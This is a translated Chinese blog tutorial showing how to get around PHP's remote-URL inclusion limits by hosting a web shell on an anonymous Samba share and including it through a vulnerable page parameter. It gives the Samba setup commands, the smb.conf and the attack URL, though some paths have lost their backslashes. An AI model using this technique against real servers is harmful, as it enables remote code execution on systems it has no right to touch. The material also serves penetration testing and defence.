http 直接显示目录下文件_利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...

83a3889ba84a62f06d6e6cab3292fc94.png

在这篇博客文章中,我将演示在PHP应用程序中利用远程文件包含(RFI)漏洞的技术,该漏洞容易受到“文件包含攻击”的影响。我们将绕过远程URL包含限制,并执行RFI的开发,即使PHP环境配置为不包含来自远程HTTP/FTP URL的文件。

PHP和SMB共享文件访问

在PHP配置文件中,“allow_url_include”包装器默认设置为“Off”,表示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止SMB URL加载。PHP的这种行为可以被滥用来从SMB共享加载远程托管的PHP web shell。

攻击场景

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP web shell时,SMB共享应该允许访问该文件。攻击者需要将SMB服务器配置为启用匿名浏览访问。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含web shell的PHP代码。

让我们开始吧,首先我重新配置了PHP环境,并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。然后配置SMB服务器具有匿名读访问权限。一旦SMB共享准备就绪,就可以利用易受攻击的应用程序。

PHP环境设置

在其上托管易受攻击代码的机器将“allow_url_fopen”和“allow_url_include”设置为“Off”。

PHP版本“5.5.11”的当前配置的屏幕截图:

c6220865be59502bf1fae19b3e7cb507.png

在继续之前,首先确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

7642d500e396109848a6f7e00cd89f82.png

当我试图从远程主机包含PHP Web shell时,应用程序抛出错误,RFI没有发生。

使用匿名读取访问权限配置SAMBA服务器(Linux计算机)

使用下面提到的命令安装SAMBA服务器:

apt-get install samba

创建SMB共享目录(在本文中是/var/www/html/pub/)

mkdir /var/www/html/pub/

a8cfacb446686018c6eb0755217ae640.png

在新创建的SMB共享目录上配置权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

ca168d55109ecb68c6816c65e323be34.png

运行以下命令删除SAMBA服务器配置文件的默认内容

echo > /etc/samba/smb.conf

将下面的内容放入“/etc/samba/smb.conf”文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

现在,重启SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置

service smbd restart

成功重启SAMBA服务器后,尝试访问SMB共享,并确保SAMBA服务器不要求凭据。

在本文中,SAMBA服务器IP是192.168.0.3,我需要访问Windows文件资源管理器中的SMB共享, 如下所述:

192.168.0.3

96f0880300dea78ff315401254accdd8.png

在SMB共享中托管PHP Web shell

很好,SMB共享是可访问的,并显示目录“ica”是存在的。

现在,在目录“/var/www/html/pub”中托管PHP shell,这是SMB共享“ica”的目录。

5ec2562baaada79c3d8245e4df902845.png

一旦我们在目录“/var/www/html/pub”中有了PHP shell,就可以使用Windows文件资源管理器访问SMB共享目录'ica'。

192.168.0.3ica

您将看到PHP shell存在是SMB共享目录。在本文中,它是box.php

c81c2b1b637ed5fcaad4b39b281b2c49.png

攻击文件包含易受攻击的参数

完美,让我们使用这个PHP shell SMB链接,并使用易受攻击的PHP代码浏览它。

http://vulnerable_application/page.php?page=192.168.0.3icabox.php

当当!易受攻击的PHP代码从SMB共享中获取Web shell,并在应用程序服务器上执行代码。我们已经绕过了限制,并包含了托管在远程主机上的Web shell。

08dc7ab87a692ef81578d5f07c3c5e30.png

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值